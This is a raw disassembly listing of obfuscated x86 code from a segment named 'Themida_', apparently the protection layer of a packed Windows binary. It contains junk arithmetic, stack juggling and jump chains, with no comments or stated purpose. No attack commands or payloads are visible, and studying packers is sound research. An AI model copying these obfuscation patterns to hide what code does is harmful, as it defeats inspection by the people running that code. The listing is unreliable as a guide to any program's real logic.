

loc_562B49:				; CODE XREF: sub_56616D+897Fj
		not	ecx
		jmp	loc_573607
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------


loc_562B50:				; CODE XREF: Themida_:00564D98j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		sub	eax, 687C24C3h
		add	eax, edi
		add	eax, 687C24C3h
		jmp	loc_5696B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B37


loc_562B6D:				; CODE XREF: sub_566B37+Cj
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		push	138Ch
		jmp	loc_5670F8
; END OF FUNCTION CHUNK	FOR sub_566B37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_562B7E:				; CODE XREF: sub_56102D+ED3Dj
		add	ebp, ebx
		sub	ebp, 446D2D6Fh
		pop	ebx
		sub	ebp, 4
		push	ebp
		push	[esp+arg_0]
		jmp	loc_56777D
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_562B97:				; CODE XREF: sub_56628B-622Aj
		mov	[esp+8+var_8], edi
		push	ebp
		jmp	loc_5702CE
; END OF FUNCTION CHUNK	FOR sub_56628B

; =============== S U B	R O U T	I N E =======================================



sub_562BA0	proc near		; DATA XREF: Themida_:0055FD04o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00564F40 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BC18 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C33E SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056FADB SIZE 00000007 BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_56FADB
sub_562BA0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5683C0


loc_562BB0:				; CODE XREF: sub_5683C0-D8Fj
		pop	esi
		push	3D93h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 475522B0h
		push	esi
		mov	esi, 589D4AB8h
		or	esi, 5F2D04C9h
		or	esi, 1FB070Eh
		not	esi
		neg	esi
		xor	esi, 9841AF9Eh
		push	edi
		mov	edi, 14F602C8h
		sub	ebx, edi
		pop	edi
		add	ebx, esi
		add	ebx, 14F602C8h
		jmp	loc_566064
; END OF FUNCTION CHUNK	FOR sub_5683C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_562BF0:				; CODE XREF: sub_56241E+945Ej
		pop	eax
		push	464h
		mov	[esp+8+var_8], ecx
		jmp	loc_565CFE
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_562BFE:				; CODE XREF: sub_56AB5E-1987j
		xor	ecx, 1D2EF71Ch
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		push	edx
		jmp	loc_5680B3
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------


loc_562C14:				; CODE XREF: Themida_:005701F2j
		add	esp, 4
		jmp	loc_57286A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_562C1F:				; CODE XREF: sub_56F3B2-81FBj
		and	ebx, 457E6649h
		neg	ebx
		sub	ebx, 0FBD7D9FCh
		add	edi, ebx
		push	[esp+4+var_4]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56DF43
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_562C41:				; CODE XREF: sub_563BCC+646Dj
		push	1C5Bh
		mov	[esp+4+var_4], esi
		mov	esi, 0FFFFFFFFh
		add	ebx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		sub	ebx, 1
		xor	ebx, 49731C10h
		push	104Bh
		mov	[esp+4+var_4], ebx
		pop	dword ptr [edi+20h]
		jmp	loc_567FF2
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E27


loc_562C72:				; CODE XREF: sub_570E27-61E1j
		push	edx
		jmp	loc_57501F
; END OF FUNCTION CHUNK	FOR sub_570E27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_562C78:				; CODE XREF: sub_5685B2+EFDj
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		mov	[esp-14h+arg_10], ecx
		push	esp
		jmp	loc_56FF53
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_562C8F:				; CODE XREF: sub_575420-1062Aj
		pop	ecx
		push	ecx
		mov	cl, 4
		jmp	loc_56938E
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_562C98:				; CODE XREF: sub_56BD44-2659j
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		jmp	loc_56E47F
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_562CA5:				; CODE XREF: sub_5634AF+DCC7j
		not	dword ptr [esp+0]
		pop	eax
		jmp	loc_574606
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_562CAE:				; CODE XREF: sub_5713A7-9B74j
		shl	ebx, 8
		push	edx
		mov	edx, 672D3572h
		shr	edx, 5
		sub	edx, 8F9D087Ah
		add	ebx, 143F2480h
		add	ebx, edx
		sub	ebx, 143F2480h
		pop	edx
		xor	ebx, 68261709h
		sub	ebx, 0EE7CB698h
		sub	edx, ebx
		pop	ebx
		sub	edx, 2556007Eh
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_562CE9:				; CODE XREF: sub_5678CB+CF23j
		sub	edi, edx
		jmp	loc_56A05A
; ---------------------------------------------------------------------------


loc_562CF0:				; CODE XREF: sub_5678CB+A4D1j
		add	esp, 4
		jmp	loc_56FF79
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_562CFB:				; CODE XREF: sub_571F6F-1953j
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	edx
		mov	edx, 1ABF2D63h
		shl	edx, 4
		sub	edx, 63C25D8Ah
		or	edx, 774A7310h
		not	edx
		sub	edx, 41E23538h
		push	esi
		mov	esi, edx
		mov	ecx, esi
		jmp	loc_56A688
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567049


loc_562D29:				; CODE XREF: sub_567049+9j
		add	ebp, edx
		jmp	loc_574C03
; END OF FUNCTION CHUNK	FOR sub_567049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_562D30:				; CODE XREF: sub_5678CB+D52j
		and	edi, esi
		jmp	loc_571D99
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_562D37:				; CODE XREF: sub_561027-465j
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		jmp	loc_57195F
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_562D55:				; CODE XREF: sub_563FA2+Dj
		sub	esi, 0F2D307Eh
		jmp	loc_56CC8D
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C7AA


loc_562D60:				; CODE XREF: sub_56C7AA-62A9j
		dec	esi
		xor	esi, 49A37915h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_572120
; END OF FUNCTION CHUNK	FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB93


loc_562D7E:				; CODE XREF: sub_56AB93-1E8Fj
		add	esi, 2
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esi
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		pop	esi
		push	2270h
		jmp	loc_56AC57
; END OF FUNCTION CHUNK	FOR sub_56AB93
; ---------------------------------------------------------------------------


loc_562DA9:				; CODE XREF: Themida_:00568746j
		push	66A7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_56C902
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568F83


loc_562DBB:				; CODE XREF: sub_568F83+2E29j
		pop	ebx
		add	esi, ebx
		mov	ebx, [esp-4+arg_0]
		jmp	loc_5737A2
; END OF FUNCTION CHUNK	FOR sub_568F83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_562DC6:				; CODE XREF: sub_56F1DB+1j
		mov	ebp, 547E5335h
		jmp	loc_568EF4
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD6F


loc_562DD0:				; CODE XREF: sub_56FD6F-66E0j
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	sub_574896
; END OF FUNCTION CHUNK	FOR sub_56FD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_562DDF:				; CODE XREF: sub_57354D-1D9Bj
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		jmp	loc_56EA12
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_562DFA:				; CODE XREF: sub_56CD13+7B21j
		mov	[esp+10h+var_10], eax
		mov	eax, 296E54EDh
		add	[esp+10h+var_C], 3DF946B7h
		jmp	sub_573876
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_562E0F:				; CODE XREF: sub_5685B2-1FA8j
		sub	bh, dl
		jmp	loc_56B6ED
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_562E16:				; CODE XREF: sub_5690E8+5A91j
		shl	edx, 5
		neg	edx
		shl	edx, 6
		add	edx, 4371309Fh
		add	ebx, edx
		pop	edx
		add	eax, ebx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		sub	ebp, eax
		pop	eax
		add	eax, ebp
		jmp	loc_564A13
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_562E3C:				; CODE XREF: sub_57354D-2C57j
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		jmp	loc_56B1D5
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------


loc_562E51:				; CODE XREF: Themida_:0056ECBFj
		or	ebx, 6BDA1D78h
		jmp	loc_56BD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_562E5C:				; CODE XREF: sub_56DA43-D136j
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		sub	esp, 4
		jmp	loc_571E0D
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_562E7E:				; CODE XREF: sub_56C38F+67B2j
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		push	ebx
		jmp	loc_5668D8
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_562E8D:				; CODE XREF: sub_5673C3+2940j
		mov	[esp+0], esi
		push	edi
		mov	edi, esp
		jmp	loc_568292
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_562E98:				; CODE XREF: sub_566400+66Fj
		add	eax, 245C24C6h
		jmp	loc_5641C5
; END OF FUNCTION CHUNK	FOR sub_566400

; =============== S U B	R O U T	I N E =======================================



sub_562EA2	proc near		; DATA XREF: Themida_:0055FE1Co

var_2		= word ptr -2

		mov	ax, fs:[edx]
		push	small 120h
		mov	[esp+2+var_2], ax
		jmp	loc_55FF9F
sub_562EA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_562EB3	proc near		; CODE XREF: sub_561F05+32E8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056A284 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005714BE SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_5714BE
sub_562EB3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3AF


loc_562EBE:				; CODE XREF: sub_56D3AF-8408j
		push	esp
		pop	[esp+0Ch+var_C]
		push	ebx
		mov	ebx, 4
		sub	[esp+0Ch+var_8], 6173036Bh
		add	[esp+0Ch+var_8], ebx
		jmp	loc_570CC5
; END OF FUNCTION CHUNK	FOR sub_56D3AF

; =============== S U B	R O U T	I N E =======================================



sub_562ED9	proc near		; DATA XREF: Themida_:0055FE40o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560670 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572C06 SIZE 00000009 BYTES

		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		jmp	loc_560670
sub_562ED9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DC7


loc_562EE4:				; CODE XREF: sub_566DC7+9171j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_566DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_562EE9:				; CODE XREF: sub_5738F4-5754j
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_5738F4
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_562EEF:				; CODE XREF: sub_5605BC+4E98j
					; sub_5605BC+13ADCj
		push	dword ptr [edi+24h]
		sub	[esp+20h+var_20], 0EBC1A24h
		jmp	loc_565838
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5637A1


loc_562EFE:				; CODE XREF: sub_5637A1-105Cj
		mov	[esp+4+var_4], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5637A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_562F11:				; CODE XREF: sub_567D31-5B57j
		sub	ecx, eax
		jmp	loc_562F72
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_562F18:				; CODE XREF: sub_56EFD2-E2A6j
		push	esi
		push	ebx
		mov	ebx, 2
		push	eax
		mov	eax, ebx
		jmp	loc_5707E8
; END OF FUNCTION CHUNK	FOR sub_56EFD2
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		add	dword ptr [esp], 4
		pop	edx
		push	4297h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4B3323BDh
		mov	edi, 4B3323B9h
		jmp	loc_5711CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_562F52:				; CODE XREF: sub_5666C3+E50Fj
		pop	ecx
		sub	eax, ebp
		add	eax, 7F0C0155h
		jmp	sub_56FB8A
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_562F5F:				; CODE XREF: sub_563DCB-2842j
		mov	dh, bl
		pop	ebx
		mov	eax, [esp-4+arg_0]
		jmp	loc_5677E7
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_562F6A:				; CODE XREF: sub_571088-6510j
		pop	edx
		mov	dl, ah
		jmp	loc_5672A6
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_562F72:				; CODE XREF: sub_567D31-4E1Ej
		pop	eax
		jmp	loc_564E97
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C7AA


loc_562F78:				; CODE XREF: sub_56C7AA-1AA5j
		dec	eax
		xchg	eax, ebx
		sub	ebx, 0E83E201Ah
		add	eax, ebx
		pop	ebx
		jmp	sub_56C48D
; END OF FUNCTION CHUNK	FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_562F88:				; CODE XREF: sub_57354D-266Aj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ecx
		mov	ecx, 27457A11h
		sub	esi, 6B9519CBh
		sub	esi, 6CD5132Dh
		jmp	loc_57277D
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_562FB3:				; CODE XREF: sub_571C0A-9EEBj
		mov	ebp, [esp+0]
		jmp	loc_5692C6
; END OF FUNCTION CHUNK	FOR sub_571C0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_562FBB:				; CODE XREF: sub_5620B7+52E2j
		sub	dl, 7Ch
		mov	bh, dl
		pop	edx
		jmp	loc_565DDB
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_562FC6:				; CODE XREF: sub_5685B2-15Dj
		add	eax, ebp
		jmp	loc_571F82
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_562FCD:				; CODE XREF: sub_57146D-6794j
		add	edx, 4
		jmp	loc_565823
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_562FD8:				; CODE XREF: sub_56BD44-2618j
		pop	ecx
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		mov	ecx, [esp+4+var_4]
		jmp	loc_566BCD
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_562FE9:				; CODE XREF: sub_574A21-3F53j
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		jmp	loc_56D14E
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569E1B


loc_562FF4:				; CODE XREF: sub_569E1B+6BAAj
		sub	dh, 69h
		push	eax
		mov	ah, 0C1h
		xor	ah, 0DBh
		and	ah, 4Ch
		not	ah
		add	ah, 0B8h
		neg	ah
		sub	ah, 0F4h
		sub	dh, ah
		pop	eax
		jmp	loc_56076A
; END OF FUNCTION CHUNK	FOR sub_569E1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_563012:				; CODE XREF: sub_56B11B-2265j
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	6178h
		mov	[esp+0], eax
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_56AB28
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_563030:				; CODE XREF: sub_56616D-7A0j
		add	esp, 4
		mov	edi, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	sub_5605BC
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D93


loc_56303E:				; CODE XREF: sub_568D93+4555j
		and	ebx, 62F502B1h
		add	ebx, 0F0993374h
		jmp	loc_572944
; END OF FUNCTION CHUNK	FOR sub_568D93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A119


loc_56304F:				; CODE XREF: sub_56A119+5B82j
		add	edi, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		jmp	loc_56A04C
; END OF FUNCTION CHUNK	FOR sub_56A119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_563060:				; CODE XREF: sub_560EA2+11ECAj
		push	edx
		jmp	loc_56D31C
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_563066:				; CODE XREF: sub_561541-209j
		mov	[esp+8+var_8], ecx
		jmp	loc_572915
; END OF FUNCTION CHUNK	FOR sub_561541

; =============== S U B	R O U T	I N E =======================================



sub_56306E	proc near		; DATA XREF: Themida_:0055FECCo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005645A0 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00565E71 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00568A0E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F1E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057444E SIZE 00000029 BYTES

		mov	ax, [esp+0]
		jmp	loc_57444E
sub_56306E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_563077:				; CODE XREF: sub_5754DA-D0A5j
		pop	eax
		push	cx
		mov	ch, 0DDh
		xor	bl, ch
		pop	cx
		push	144Bh
		mov	[esp+0Ah+var_C+2], ebx
		mov	bh, 64h
		push	ebx
		not	[esp+0Eh+var_D]
		jmp	loc_5604D1
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------


loc_563094:				; CODE XREF: Themida_:0056A1E9j
		mov	esi, [esp]
		jmp	loc_56D594
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56309C:				; CODE XREF: sub_5678CB+5B2Bj
		and	cl, 60h
		shl	cl, 3
		or	cl, 59h
		jmp	loc_56AFA0
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------


loc_5630AA:				; CODE XREF: Themida_:00561A41j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56917E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_5630B5:				; CODE XREF: sub_563819+A786j
		pop	edx
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 3AAD5897h
		not	esi
		xor	esi, 0C552A76Ch
		add	eax, esi
		jmp	loc_567C36
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564EBE


loc_5630CE:				; CODE XREF: sub_564EBE+36CAj
		mov	ecx, 6ED67639h
		jmp	loc_565A32
; END OF FUNCTION CHUNK	FOR sub_564EBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_5630D8:				; CODE XREF: sub_566C83+3536j
		add	esi, ecx
		pop	ecx
		not	esi
		shl	esi, 6
		sub	esi, 5B0C37DBh
		add	ebx, esi
		jmp	loc_56AD9B
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_5630ED:				; CODE XREF: sub_56BC97+43D9j
		mov	eax, 4
		sub	edx, eax
		pop	eax
		jmp	loc_564646
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_5630FA:				; CODE XREF: sub_574A21-C731j
		mov	[esp+0Ch+var_C], esi
		jmp	loc_568A91
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------


loc_563102:				; CODE XREF: Themida_:00574AB0j
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_56B664
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564C54


loc_56310C:				; CODE XREF: sub_564C54+Fj
		pop	esp
		jmp	sub_563A7F
; END OF FUNCTION CHUNK	FOR sub_564C54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_563112:				; CODE XREF: sub_573612-604j
		xor	edi, 52225E2Ch
		add	edi, 10DB6837h
		add	edi, 1
		xor	edi, 3458A485h
		jmp	loc_56D885
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------


loc_56312C:				; CODE XREF: Themida_:00573319j
		pop	ebx
		sub	ebx, esi
		pop	esi
		add	ebx, edi
		add	ebx, 66DC7A2Dh
		mov	edi, [esp]
		push	edx
		jmp	loc_574ACF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573A7F


loc_563141:				; CODE XREF: sub_573A7F+Bj
		mov	[esp+4+var_4], edi
		mov	edi, 25971807h
		dec	edi
		not	edi
		dec	edi
		jmp	loc_56FD4E
; END OF FUNCTION CHUNK	FOR sub_573A7F

; =============== S U B	R O U T	I N E =======================================



sub_563152	proc near		; DATA XREF: Themida_:0055FD14o

var_2		= word ptr -2

; FUNCTION CHUNK AT 005611ED SIZE 00000009 BYTES

		movzx	ax, byte ptr fs:[edx]
		push	small 5490h
		jmp	loc_5611ED
sub_563152	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561979


loc_563160:				; CODE XREF: sub_561979+9875j
		sub	eax, 6E6F5AE3h
		jmp	loc_563850
; END OF FUNCTION CHUNK	FOR sub_561979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56316A:				; CODE XREF: sub_574A21-CEB6j
		or	eax, 6E3F2BC9h
		shl	eax, 4
		push	ecx
		mov	ecx, 3C080FEEh
		add	eax, ecx
		pop	ecx
		xor	eax, 0B5B0A04h
		shl	eax, 5
		xor	eax, 5A4348DDh
		jmp	loc_56064E
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------


loc_56318D:				; CODE XREF: Themida_:00572910j
		mov	edx, 0C1471932h
		jmp	loc_56CECB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_563197:				; CODE XREF: sub_569DB5-3105j
		pop	ebx
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_574E99
; END OF FUNCTION CHUNK	FOR sub_569DB5

; =============== S U B	R O U T	I N E =======================================



sub_5631A3	proc near		; CODE XREF: sub_561784+CD34j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560432 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560AEE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005640F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00565ABF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056BE36 SIZE 00000051 BYTES

		sub	esp, 4
		jmp	loc_56BE36
sub_5631A3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD38


loc_5631AE:				; CODE XREF: sub_56FD38-35DEj
		sub	ebx, 0FFFFFFFFh
		push	esi
		mov	esi, 639F6A52h
		jmp	loc_5603D7
; END OF FUNCTION CHUNK	FOR sub_56FD38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_5631BF:				; CODE XREF: sub_5666C3+EBF3j
		xor	ecx, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		add	eax, ecx
		pop	ecx
		pop	edi
		sub	eax, 23700CC9h
		sub	eax, ebx
		push	esi
		mov	esi, 23700CC9h
		jmp	loc_56404A
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560276


loc_5631E0:				; CODE XREF: sub_560276+10j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		pop	esp
		push	edi
